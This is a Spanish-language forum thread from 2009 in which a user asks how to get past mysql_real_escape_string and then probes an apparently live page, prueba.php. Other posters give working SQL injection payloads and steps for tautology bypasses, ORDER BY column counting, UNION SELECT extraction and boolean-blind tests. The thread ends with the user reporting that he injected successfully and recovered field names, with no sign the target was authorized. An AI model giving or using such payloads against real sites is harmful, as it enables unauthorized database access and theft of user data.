Una duda de SQL injection

Iniciado por baZZ, 29 Mayo 2009, 03:42 AM

0 Miembros y 1 Visitante están viendo este tema.

baZZ

Buenas pues mi pregunta es, ¿se puede hacer una inyeccion sql a una variable a la que se le pasa mysql_real_escape_string()? ¿Ejemplos? Gracias
- EVGA ATX - Intel X58
- i7 920 @ 3,2 Ghz
- 2x260 gtx 216 SLI
- 3x1 GB OCZ DIMM DDR3 1600 Mhz
- Tacens Sagitta II
- Seagate 7200.12
Falta:
- T.R.U.E ^^
- i7 @ 4,0 Ghz

HardieVon

claro que si

$consulta = "SELECT * FROM usuarios WHERE id=$_GET['id'] ORDER BY 7";

?id=-1 UNION 1,2,3,4,5,6,7 FROM...

no veo que uses caracteres especiales

baZZ

tengo lo siguiente:

prueba.php?=Pedro

Entonces esto me muestra los datos del usuario Pedro.
Si hago lo siguiente:

prueba.php?='

Me muestra esto:
Execute query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Sigo investigando y si hago esto:
prueba.php?=x' or 'x' = 'x

Y efectivamente me muestra el primer usuario que coge de la tabla.
Digamos que conozco mas o menos los nombres de las tablas y campos de la BD, ¿puedo explotarlo más?
- EVGA ATX - Intel X58
- i7 920 @ 3,2 Ghz
- 2x260 gtx 216 SLI
- 3x1 GB OCZ DIMM DDR3 1600 Mhz
- Tacens Sagitta II
- Seagate 7200.12
Falta:
- T.R.U.E ^^
- i7 @ 4,0 Ghz

Darioxhcx

union select ?
order by ?

me confundi
(?

WHK

prueba.php?=Pedro' order by 999 --
Si no resulta es porque procesa carácteres codificados por utf-8:
prueba.php?=Pedro' USING utf8) order by 999 --

Si te funciona después pruebas con order by 10, si te da error es porque es mas de 10 y menos de 999, cuando da error es porque el número debe ser superior (ese número te indica la cantidad de columnas de la tabla).
Cuando order by 15 te de error y el 16 no te de error entonces haces un union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 --
No es necesario que uses números coorelativos, es solo para poder visualizar que tabla se imprime en la página y poder hacer devolver datos desde otras tablas.

OzX

Hi Bro
Prueba esto

prueba.php?=Pedro'+and+1=0+--+
prueba.php?=Pedro'+and+1=1+--+

Te muestra un Resultado Verdadero o Falso?
Osea cuando haces
prueba.php?=Pedro'+and+1=1+--+
Te muestra lo Mismo que si haces.
prueba.php?=Pedro
?
Es Probable que Sean Las Magic Quotes Del Php.
Saludos
Oz¡

WHK

Cita de: OzX en 15 Junio 2009, 04:15 AM
Hi Bro
Prueba esto

prueba.php?=Pedro'+and+1=0+--+
prueba.php?=Pedro'+and+1=1+--+

Te muestra un Resultado Verdadero o Falso?
Osea cuando haces
prueba.php?=Pedro'+and+1=1+--+
Te muestra lo Mismo que si haces.
prueba.php?=Pedro
?
Es Probable que Sean Las Magic Quotes Del Php.
Saludos
Oz¡

Citarprueba.php?='

Me muestra esto:
Execute query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Sigo investigando y si hago esto:
prueba.php?=x' or 'x' = 'x

Y efectivamente me muestra el primer usuario que coge de la tabla.
Digamos que conozco mas o menos los nombres de las tablas y campos de la BD, ¿puedo explotarlo más?

Si tuviera magic quotes activado entonces la comilla hubiera sido parte de la query y no le hubiera dado error de sintaxis ya que debería haber debuelto que el valor era nulo, además dice que
CitarSigo investigando y si hago esto:
prueba.php?=x' or 'x' = 'x
Y efectivamente me muestra el primer usuario que coge de la tabla.

Significa que si pudo inyectar código, solo que ahora necesita saber cuantas columnas contiene la tabla para poder hacer la ubnion y lanzar las demás sentencias.

Saludos.

baZZ

Ya pude inyectar, conseguir el numero de campos e incluso algunos nombres de campos lo cual me dio bastante info. Gracias a todos
- EVGA ATX - Intel X58
- i7 920 @ 3,2 Ghz
- 2x260 gtx 216 SLI
- 3x1 GB OCZ DIMM DDR3 1600 Mhz
- Tacens Sagitta II
- Seagate 7200.12
Falta:
- T.R.U.E ^^
- i7 @ 4,0 Ghz